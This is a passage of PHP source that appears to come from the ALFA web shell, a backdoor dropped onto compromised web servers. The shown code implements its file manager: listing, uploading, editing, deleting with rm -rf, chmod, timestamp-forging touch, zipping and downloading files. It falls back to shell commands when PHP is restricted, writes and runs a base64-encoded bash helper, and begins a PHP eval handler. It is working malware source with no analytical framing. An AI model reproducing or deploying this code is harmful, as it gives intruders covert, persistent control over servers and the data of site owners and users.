    ";?> = 1073741824) return sprintf('%1.2f', $s / 1073741824 ). ' GB'; elseif($s >= 1048576) return sprintf('%1.2f', $s / 1048576 ) . ' MB'; elseif($s >= 1024) return sprintf('%1.2f', $s / 1024 ) . ' KB'; else return $s . ' B'; } function alfaPerms($p) { if (($p & 0xC000) == 0xC000)$i = 's '; elseif (($p & 0xA000) == 0xA000)$i = 'l '; elseif (($p & 0x8000) == 0x8000)$i = '- '; elseif (($p & 0x6000) == 0x6000)$i = 'b '; elseif (($p & 0x4000) == 0x4000)$i = 'd '; elseif (($p & 0x2000) == 0x2000)$i = 'c '; elseif (($p & 0x1000) == 0x1000)$i = 'p '; else $i = 'u '; $i .= (($p & 0x0100) ? 'r ' : '-'); $i .= (($p & 0x0080) ? 'w ' : '-'); $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's ' : 'x ' ) : (($p & 0x0800) ? 'S ' : '-')); $i .= (($p & 0x0020) ? 'r ' : '-'); $i .= (($p & 0x0010) ? 'w ' : '-'); $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's ' : 'x ' ) : (($p & 0x0400) ? 'S ' : '-')); $i .= (($p & 0x0004) ? 'r ' : '-'); $i .= (($p & 0x0002) ? 'w ' : '-'); $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't ' : 'x ' ) : (($p & 0x0200) ? 'T ' : '-')); return $i; } function alfaPermsColor($f,$isbash=false){ $class = ""; $num = ""; $human = ""; if($isbash){ $class = $f["class"]; $num = $f["num"]; $human = $f["human"]; }else{ $num = substr(sprintf('%o', @fileperms($f)),-4); $human = alfaPerms(@fileperms($f)); if(!@is_readable($f)) $class = "main_red_perm"; elseif (!@is_writable($f)) $class = "main_white_perm"; else $class = "main_green_perm"; } return ''.$num.' >> '.$human.''; } if(!function_exists("scandir")) { function scandir($dir) { $dh = opendir($dir); while (false !== ($filename = readdir($dh))) $files[] = $filename; return $files; } } function reArrayFiles($file_post){ $file_ary = array(); $file_count = count($file_post['name']); $file_keys = array_keys($file_post); for ($i=0; $i<$file_count; $i++) { foreach ($file_keys as $key) { $file_ary[$i][$key] = $file_post[$key][$i]; } } return $file_ary; } function _alfa_can_runCommand($cgi=true,$cache=true){ if(isset($_COOKIE["alfa_canruncmd"])&&$cache){ return true; } if(strlen(alfaEx("whoami",false,$cgi))>0){ $_COOKIE["alfa_canruncmd"] = true; return true; } return false; } function _alfa_symlink($target, $link){ $phpsym = function_exists("symlink"); if($phpsym){ @symlink($target, $link); }else{ alfaEx("ln -s '".addslashes($target)."' '".addslashes($link)."'"); } } function _alfa_file_exists($file,$cgi=true){ if(@file_exists($file)){ return true; }else{ if(strlen(alfaEx("ls -la '".addslashes($file)."'",false,$cgi))>0){ return true; } } return false; } function _alfa_file($file,$cgi=true){ $array = @file($file); if(!$array){ if(strlen(alfaEx("id",false,$cgi))>0){ $data = alfaEx('cat "'.addslashes($file).'"',false,$cgi); if(strlen($data)>0){ return explode("\n", $data); }else{ return false; } }else{ return false; } }else{ return$array;} } function _alfa_is_writable($file){ $check = false; $check = @is_writable($file); if(!$check){ if(_alfa_can_runCommand()){ $check = alfaEx('[ -w "'.trim(addslashes($file)).'" ] && echo "yes" || echo "no"'); if($check == "yes"){ $check = true; }else{ $check = false; } } } return $check; } function _alfa_is_dir($dir,$mode="-d"){ $check = false; $check = @is_dir($dir); if($mode == "-e"){ $check = @is_file($dir); } if(!$check){ if(_alfa_can_runCommand()){ $check = alfaEx('[ "'.trim($mode).'" "'.trim(addslashes($dir)).'" ] && echo "yes" || echo "no"'); if($check == "yes"){ return true; }else{ return false; } } } return $check; } function _alfa_load_ace_options($base){ return 'Theme: Language: Soft Wrap: | Font Size: | | '; } function alfaFilesMan2(){ alfahead(); AlfaNum(8,9,10,7,6,5,4); echo '
    '; alfaFooter(); } function copy_paste($c,$s,$d){ if(@is_dir($c.$s)){ @mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if (($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); } elseif(is_file($c.$s)) @copy($c.$s, $d.$s); } function alfaFilesMan(){ if(!empty ($_COOKIE['alfa_f'])) $_COOKIE['alfa_f'] = @unserialize($_COOKIE['alfa_f']); if(!empty($_POST['alfa1'])){ switch($_POST['alfa1']){ case 'uploadFile': $move_cmd_file = false; $alfa_canruncmd = false; if($GLOBALS['glob_chdir_false']){ $alfa_canruncmd = _alfa_can_runCommand(true,true); $move_cmd_file = true; } if(_alfa_is_writable($GLOBALS['cwd'])){ $files = reArrayFiles($_FILES['f']); $ret_files = array(); foreach($files as $file){ if($move_cmd_file&&$alfa_canruncmd){ alfaEx("cat '".addslashes($file['tmp_name'])."' > '".addslashes($_POST["c"]."/".$file['name'])."'"); }else{ if(@move_uploaded_file($file['tmp_name'],$file['name'])){ $ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file['name'])):array("name" => "????"); $gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file['name'])):array("name" => "????"); $file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($file['name']):"????"); $file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($file['name']):"????"); $file_modify = @date('Y-m-d H:i:s', @filemtime($file['name'])); $file_perm = alfaPermsColor($file['name']); $file_size = @filesize($file['name']); $ret_files[] = array("name" => $file['name'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group); } } } if(!$move_cmd_file){ echo json_encode($ret_files); } }else{ echo "noperm"; return; } if(!$move_cmd_file){ return; } break; case 'mkdir': $new_dir_cmd = false; if($GLOBALS['glob_chdir_false']){ if(_alfa_can_runCommand(true,true)){ if(_alfa_is_writable($GLOBALS['cwd'])){ if(!_alfa_is_dir(trim($_POST['alfa2']))){ alfaEx("cd '".trim(addslashes($_POST['c']))."';mkdir '".trim(addslashes($_POST['alfa2']))."'"); echo ""; }else{ echo ""; } }else{ echo ""; } }else{ echo ""; } }else{ if(_alfa_is_writable($GLOBALS['cwd'])){ if(!_alfa_is_dir(trim($_POST['alfa2']))){ if(!@mkdir(trim($_POST['alfa2']))){ echo ""; }else{ echo ""; } }else{ echo ""; } }else{ echo ""; } } break; case 'delete': function deleteDir($path){ $path = (substr($path,-1)=='/') ? $path:$path.'/'; $dh = @opendir($path); while(($item = @readdir($dh)) !== false){ $item = $path.$item; if((basename($item) == "..") || (basename($item) == ".")) continue; $type = @filetype($item); if ($type == "dir") deleteDir($item); else @unlink($item); } @closedir($dh); @rmdir($path); } if(is_array(@$_POST['f'])) foreach($_POST['f'] as $f){ if($f == '..') continue; $f = rawurldecode($f); if($GLOBALS["glob_chdir_false"]){ if(_alfa_can_runCommand(true,true)){ alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'"); } }else{ alfaEx("rm -rf '".addslashes($f)."'",false,false); if(@is_dir($f)) deleteDir($f); else @unlink($f); } } if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){ deleteDir(rawurldecode(@$_POST['alfa2'])); alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false); }else{ @unlink(rawurldecode(@$_POST['alfa2'])); } if($GLOBALS["glob_chdir_false"]){ $source = rawurldecode(@$_POST['alfa2']); if($source!='..'&&!empty($source)){ if(_alfa_can_runCommand(true,true)){ alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'"); } } } if(is_array($_POST['f'])) return; break; case 'paste': if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){ foreach($_COOKIE['alfa_f'] as $f) copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']); }elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){ function move_paste($c,$s,$d){ if(@is_dir($c.$s)){ @mkdir($d.$s); $h = @opendir($c.$s); while (($f = @readdir($h)) !== false) if(($f != ".") and ($f != "..")) copy_paste($c.$s.'/',$f, $d.$s.'/'); }elseif(@is_file($c.$s)) @copy($c.$s, $d.$s); } foreach($_COOKIE['alfa_f'] as $f) @rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f); }elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){ if(class_exists('ZipArchive')){ $zip = new ZipArchive(); $zipX = "alfa_".rand(1,1000).".zip"; if($zip->open($zipX, 1)){ @chdir($_COOKIE['alfa_c']); foreach($_COOKIE['alfa_f'] as $f){ if($f == '..')continue; if(@is_file($_COOKIE['alfa_c'].$f)) $zip->addFile($_COOKIE['alfa_c'].$f, $f); elseif(@is_dir($_COOKIE['alfa_c'].$f)){ $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); foreach($iterator as $key=>$value){ $key = str_replace('\\','/',realpath($key)); if(@is_dir($key)){ if(in_array(substr($key, strrpos($key,'/')+1),array('.', '..')))continue; }else{$zip->addFile($key,$key);}}}} @chdir($GLOBALS['cwd']); $zip->close(); __alert('>> '.$zipX.' << is created...');}} }elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){ if(class_exists('ZipArchive')){ $zip = new ZipArchive(); foreach($_COOKIE['alfa_f'] as $f) { if($zip->open($_COOKIE['alfa_c'].$f)){ $zip->extractTo($_COOKIE['alfa_cwd']); $zip->close();}}}} unset($_COOKIE['alfa_f']); break; default: if(!empty($_POST['alfa1'])){ if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){ __alfa_set_cookie('alfa_act', @$_POST['alfa1']); __alfa_set_cookie('alfa_f', @serialize($_POST['f'])); __alfa_set_cookie('alfa_c', @$_POST['c']); return; } } break; } } $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){ $path = explode('/', $res[1]); array_pop($path); $_POST['c'] = implode('/', $path); } $cmd_dir = false; if($dirContent === false){ if(_alfa_can_runCommand(true,true)){ $tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"]; @chdir(dirname($_SERVER["SCRIPT_FILENAME"])); if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/haxorcgiapi/getdir.alfa")){ $bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg=="; $tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash); __alfa_set_cookie("alfachdir_bash", "true"); __alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path); } $dirContent = alfaEx("cd ".$tmp_getdir_path."/haxorcgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'"); $dirContent = json_decode($dirContent, true); if(is_array($dirContent)){ array_pop($dirContent); $cmd_dir = true; }else{ $dirContent = false; } } } alfahead(); AlfaNum(8,9,10,7,6,5,4); $count_dirContent = @count($dirContent); if($count_dirContent > 300){ @$_COOKIE["alfa_limited_files"] = 100; } $alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name'; $alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0; $alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1; $alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc'; $files_page_count = 1; if($alfa_limited_files > 0){ $files_page_count = ceil($count_dirContent/$alfa_limited_files); if($files_page_count > 1){ $files_page_count++; } } echo '
    Filter: Sort By: Direction: limit: Files Count: '.($count_dirContent-1).'
    '; if($dirContent == false){ echo '

    !!! Access Denied !!!

    '; alfaFooter(); return; } global $sort; $sort = array('name', 1); if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){ $sort[0] = $_COOKIE["alfa_sort_by"]; } if(!empty($_POST['alfa1'])) { if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match)) $sort = array($match[1], (int)$match[2]); } if($alfa_files_page_number > ($files_page_count-1)){ $alfa_files_page_number = 1; } $checkbox_rand = rand(11111, 99999); echo "
    "; $dirs = $files = array(); $n = $count_dirContent; if($n > $alfa_limited_files && $alfa_limited_files > 0){ $n = ($alfa_limited_files * $alfa_files_page_number); if($n > $count_dirContent){ $n = $count_dirContent; } } $i = 0; if($alfa_limited_files > 0 && $alfa_files_page_number > 1){ $i = $alfa_limited_files * ($alfa_files_page_number - 1); } $page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1); $cmd_dir_backp = ""; for(;$i<$n;$i++){ if($cmd_dir){ $filename = $dirContent[$i]["name"]; $file_owner = $dirContent[$i]["owner"];$file_group = $dirContent[$i]["group"]; $file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]); $file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true); $file_size = $dirContent[$i]["size"]; if(substr($dirContent[$i]["name"], 0 ,1) == "/"){ $file_path = $dirContent[$i]["name"]; $dirContent[$i]["name"] = ".."; $filename = $dirContent[$i]["name"]; }else{ $file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"]; } }else{ $filename = $dirContent[$i]; $ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????"); $gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????"); $file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????"); $file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????"); $file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename)); $file_perm = alfaPermsColor($GLOBALS['cwd'].$filename); $file_size = @filesize($GLOBALS['cwd'].$filename); $file_path = $GLOBALS['cwd'].$filename; } $tmp = array('name' => $filename, 'path' => $file_path, 'modify' => $file_modify, 'perms' => $file_perm, 'size' => $file_size, 'owner' => $file_owner, 'group' => $file_group ); if($filename == ".." && !$cmd_dir){ $tmp["path"] = str_replace("\\", "/", realpath($file_path)); } if(!$cmd_dir){ if(@is_file($file_path)){ $arr_mrg = array('type' => 'file'); if(@is_link($file_path)){ $arr_mrg["link"] = readlink($tmp['path']); } $files[] = array_merge($tmp, $arr_mrg); }elseif(@is_link($file_path)){ $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path']))); }elseif(@is_dir($file_path)&& ($filename != ".")){ $dirs[] = array_merge($tmp, array('type' => 'dir')); } }else{ if($dirContent[$i]["type"]=="file"){ $files[] = array_merge($tmp, array('type' => 'file')); }else{ if($dirContent[$i]["name"] != "."){ $dirs[] = array_merge($tmp, array('type' => 'dir')); } } } } $GLOBALS['sort'] = $sort; function alfaCmp($a, $b) { if($GLOBALS['sort'][0] != 'size') return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1); else return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1); } usort($files, "alfaCmp"); usort($dirs, "alfaCmp"); if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){ if($_COOKIE["alfa_filesman_direction"] == 'desc'){ $files = array_reverse($files); $dirs = array_reverse($dirs); } } $files = array_merge($dirs, $files); $l=0; $cc=0; foreach($files as $f){ $f['name'] = htmlspecialchars($f['name']); $newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name']; $checkbox = 'checkbox_'.$checkbox_rand.$cc; $raw_name = rawurlencode($f['name']); $icon = $GLOBALS['DB_NAME']['show_icons']?'':''; $style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':''; echo ''; $l = $l?0:1; $cc++; } echo "
    NameSizeModifyOwner/GroupPermissionsActions
    '.$icon.''.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).''.$f['modify'].''.$f['owner'].'/'.$f['group'].''. $f['perms'].'R T'.(($f['type']=='file')?' E D':'').' X
    ".$page_builder."
    "; alfafooter(); } function get_pagination_links($current_page, $total_pages){ $links = ""; if ($total_pages >= 1 && $current_page <= $total_pages) { $links .= "<<"; $selected_page = ""; if($current_page == 1){ $selected_page = " active-page-number"; } $links .= "1"; $i = max(2, $current_page - 5); if ($i > 2) $links .= "..."; for (; $i < min($current_page + 6, $total_pages); $i++) { if($i == $current_page){ $selected_page = " active-page-number"; }else{ $selected_page = ""; } $links .= "{$i}"; } if ($i != $total_pages) $links .= "..."; $selected_page = " last-page-number"; if($current_page == $total_pages){ $selected_page .= " active-page-number"; } $links .= "{$total_pages}"; $links .= ">>"; }return $links;} function alfaFilesTools(){ alfahead(); echo '
    '; if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']); $alfa1_decoded = $_POST['alfa1']; $chdir_fals = false; if(!@chdir($_POST['c'])){ $chdir_fals = true; $_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"]; $alfa_canruncmd = _alfa_can_runCommand(true,true); if($alfa_canruncmd){ $slashed_alfa1 = addslashes($_POST['alfa1']); $file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"')); $perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi"); } } if($_POST['alfa2'] == 'auto'){ if(is_array(@getimagesize($_POST['alfa1']))){ $_POST['alfa2'] = 'image'; }else{ $_POST['alfa2'] = 'view'; if($chdir_fals){ if($alfa_canruncmd){ $mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'")); $mimetype = $mime[1]; if(!empty($mimetype)){ if(strstr($mimetype, "image")){ $_POST['alfa2'] = 'image'; } } } } } } if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];} if(@$_POST['alfa2'] == 'mkfile'){ $_POST['alfa1'] = trim($_POST['alfa1']); if($chdir_fals&&$alfa_canruncmd){ if(_alfa_is_writable($_POST["c"])){ alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'"); $_POST['alfa2'] = "edit"; } } if(!@file_exists($_POST['alfa1'])){ $fp = @fopen($_POST['alfa1'], 'w'); if($fp){ $_POST['alfa2'] = "edit"; fclose($fp); } }else{ $_POST['alfa2'] = "edit"; } } if(!_alfa_file_exists(@$_POST['alfa1'])){ echo __pre()."

    !...FILE DOEST NOT EXITS...!

    "; alfaFooter(); return; } if($chdir_fals){ $filesize = $file_info[3]; $uid["name"] = $file_info[1]; $gid["name"] = $file_info[2]; $permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true); }else{ $uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):''; $gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):''; if(!$uid&&!$gid){ $uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):''; $gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):''; } $permcolor = alfaPermsColor($_POST['alfa1']); $filesize = @filesize($_POST['alfa1']); if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){ if(_alfa_can_runCommand()){ list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"')); } } } if(substr($_POST['alfa1'], 0, 7) == "phar://"){ $alfa_file_directory = $_POST['alfa1']; }else{ $alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']); } echo '
    Name: '.htmlspecialchars(basename($alfa1_decoded)).' Size: '.alfaSize($filesize).' Permission: '.$permcolor.' Owner/Group: '.$uid['name'].'/'.$gid['name'].' Directory: '.dirname($alfa_file_directory).'
    '; if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view'; if(!_alfa_is_dir($_POST['alfa1'])){ $m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump'); $ftype = "file"; }else{ $m = array('Chmod', 'Rename', 'Touch'); $ftype = "dir"; } echo(''; switch($_POST['alfa2']){ case 'view':case 'edit': @chdir($_POST['c']); $disabled_btn = ""; if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){ $disabled_btn = "disabled=disabled"; $disabled_btn_style= 'background: #ff0000;color: #fff;'; } if(!empty($_POST['alfa3'])){ $_POST['alfa3'] = substr($_POST['alfa3'],1); $time = @filemtime($_POST['alfa1']); $fp = @__write_file($_POST['alfa1'],$_POST['alfa3']); if($chdir_fals&&$alfa_canruncmd){ $rname = $alfa1_decoded; $randname = $rname.rand(111,9999); $filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname; if($fp = @__write_file($filepath ,$_POST['alfa3'])){ alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'"); } } if($fp){ echo 'Saved!
    '; @touch($_POST['alfa1'],$time,$time); } } echo '
    '._alfa_load_ace_options("editor").'
    ';
    echo htmlspecialchars(__read_file($_POST['alfa1']));
    echo '
    '; break; case 'highlight': @chdir($_POST['c']); if(@is_readable($_POST['alfa1'])){ echo '
    '; $code = @highlight_file($_POST['alfa1'],true); echo str_replace(array(''), array(''),$code).'
    '; } break; case 'delete': @chdir($_POST['c']); if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){ $deleted = true; if(!@unlink($_POST['alfa1'])){ $deleted = false; if($alfa_canruncmd){ if(_alfa_is_writable($_POST['alfa1'])){ alfaEx("rm -f '".addslashes($_POST['alfa1'])."'"); $deleted = true; } } } if($deleted)echo 'File Deleted...';else echo 'Error...';} break; case 'chmod': @chdir($_POST['c']); if(!empty($_POST['alfa3'])){ $perms = 0; for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i) $perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1)); if(!@chmod($_POST['alfa1'], $perms)){ if($chdir_fals&&$alfa_canruncmd){ alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'"); echo('Success!'); }else{ echo 'Can\'t set permissions!
    ';} }else{echo('Success!');} } clearstatcache(); AlfaNum(8,9,10,7,6,5,4,2,1); if($chdir_fals){ $file_perm = $file_info[5]; }else{ $file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4); } echo '
    '; break; case 'hexdump': @chdir($_POST['c']); $c = __read_file($_POST['alfa1']); $n = 0; $h = array('00000000
    ','',''); $len = strlen($c); for ($i=0; $i<$len; ++$i) { $h[1] .= sprintf('%02X',ord($c[$i])).' '; switch ( ord($c[$i]) ) { case 0: $h[2] .= ' '; break; case 9: $h[2] .= ' '; break; case 10: $h[2] .= ' '; break; case 13: $h[2] .= ' '; break; default: $h[2] .= $c[$i]; break; } $n++; if ($n == 32) { $n = 0; if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'
    ';} $h[1] .= '
    '; $h[2] .= "\n"; } } echo '
    '.$h[0].'
    '.$h[1].'
    '.htmlspecialchars($h[2]).'
    '; break; case 'rename': @chdir($_POST['c']); $alfa1_escape = addslashes($_POST["alfa1"]); $alfa3_escape = addslashes($_POST["alfa3"]); if(!empty($_POST['alfa3'])){ $cmd_rename = false; if($chdir_fals&&$alfa_canruncmd){ if(_alfa_is_writable($_POST['alfa1'])){ $alfa1_escape = addslashes($alfa1_decoded); alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'"); }else{ $cmd_rename = true; } }else{ $alfa1_escape = addslashes($_POST["alfa1"]); } if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){ echo 'Can\'t rename!
    ';}else{echo('Renamed!');$alfa1_escape = $alfa3_escape;} } echo '
    '; break; case 'touch': @chdir($_POST['c']); if( !empty($_POST['alfa3']) ) { $time = strtotime($_POST['alfa3']); if($time){ $touched = false; if($chdir_fals&&$alfa_canruncmd){ alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'"); $touched = true; } if(!@touch($_POST['alfa1'],$time,$time)&&!$touched) echo 'Fail!'; else echo 'Touched!'; } else echo 'Bad time format!'; } clearstatcache(); echo '
    '; break; case 'image': @chdir($_POST['c']); echo('
    '); $file = $_POST['alfa1']; $image_info = @getimagesize($file); if(is_array($image_info)||$chdir_fals){ $width = (int)$image_info[0]; $height = (int)$image_info[1]; if($chdir_fals&&$alfa_canruncmd){ $source = alfaEx("cat '".addslashes($file)."' | base64"); list($width, $height) = explode(":", alfaEx("identify -format '%w:%h' '".addslashes($file)."'")); $mime = explode(":", alfaEx("file --mime-type '".addslashes($file)."'")); $image_info['mime'] = $mime[1]; }else{ $source = __ZW5jb2Rlcg(__read_file($file, false)); } $image_info_h = "Image type = [ ".$image_info['mime']." ]
    Image Size = [ ".$width." x ".$height." ]
    "; if($width > 800){$width = 800;} echo $content = "
    ".$image_info_h."
    ".$file."

    "; } break; } echo ''; alfaFooter(); } function findicon($file,$type){ $s = 'http://solevisible.com/icons/'; $types = array('json','ppt','pptx','xls','xlsx','msi','config','cgi','pm','c','cpp','cs','java','aspx','asp','db','ttf','eot','woff','woff2','woff','conf','log','apk','cab','bz2','tgz','dmg','izo','jar','7z','iso','rar','bat','sh','alfa','gz','tar','php','php4','php5','phtml','html','xhtml','shtml','htm','zip','png','jpg','jpeg','gif','bmp','ico','txt','js','rb','py','xml','css','sql','htaccess','pl','ini','dll','exe','mp3','mp4','m4a','mov','flv','swf','mkv','avi','wmv','mpg','mpeg','dat','pdf','3gp','doc','docx','docm'); if($type!='file'){ return ($file=='..'?$s.'back.png':$s.'folder.png'); }else{ $ext = explode('.',$file); $ext = end($ext); $ext = strtolower($ext); return (in_array($ext,$types)?$s.$ext.'.png':$s.'notfound.png'); } } function alfadlfile(){ if(isset($_POST['c'],$_POST['file'])){ $basename = rawurldecode(basename($_POST['file'])); $_POST['file'] = str_replace("//", "/", $_POST['c'].'/'.$basename); $alfa_canruncmd = _alfa_can_runCommand(true,true); if(@is_file($_POST['file']) && @is_readable($_POST['file']) || $alfa_canruncmd){ ob_start("ob_gzhandler", 4096); header("Content-Disposition: attachment; filename=\"".addslashes($basename)."\""); header("Content-Type: application/octet-stream"); if($GLOBALS["glob_chdir_false"]){ $randname = $basename.rand(111,9999); $scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]); $filepath = $scriptpath."/".$randname; if(_alfa_is_writable($scriptpath)){ alfaEx("cp '".addslashes($_POST["file"])."' '".addslashes($filepath)."'"); readfile($filepath); @unlink($filepath); }else{ alfaEx("cat '".addslashes($_POST["file"])."'"); } }else{ readfile($_POST['file']); } }else echo('Error...!');}} function __alfa_set_cookie($key, $value){ $_COOKIE[$key] = $value; @setcookie($key, $value, time()+(86400 * 7), '/'); } function alfaphpeval(){ if(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){ $tempdir = __ZGVjb2Rlcg($_COOKIE["eval_tmpdir"]); }else{ $tempdir = dirname(alfaEx("mktemp")); __alfa_set_cookie("eval_tmpdir", __ZW5jb2Rlcg($tempdir)); } alfahead(); if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'ini')){ echo '
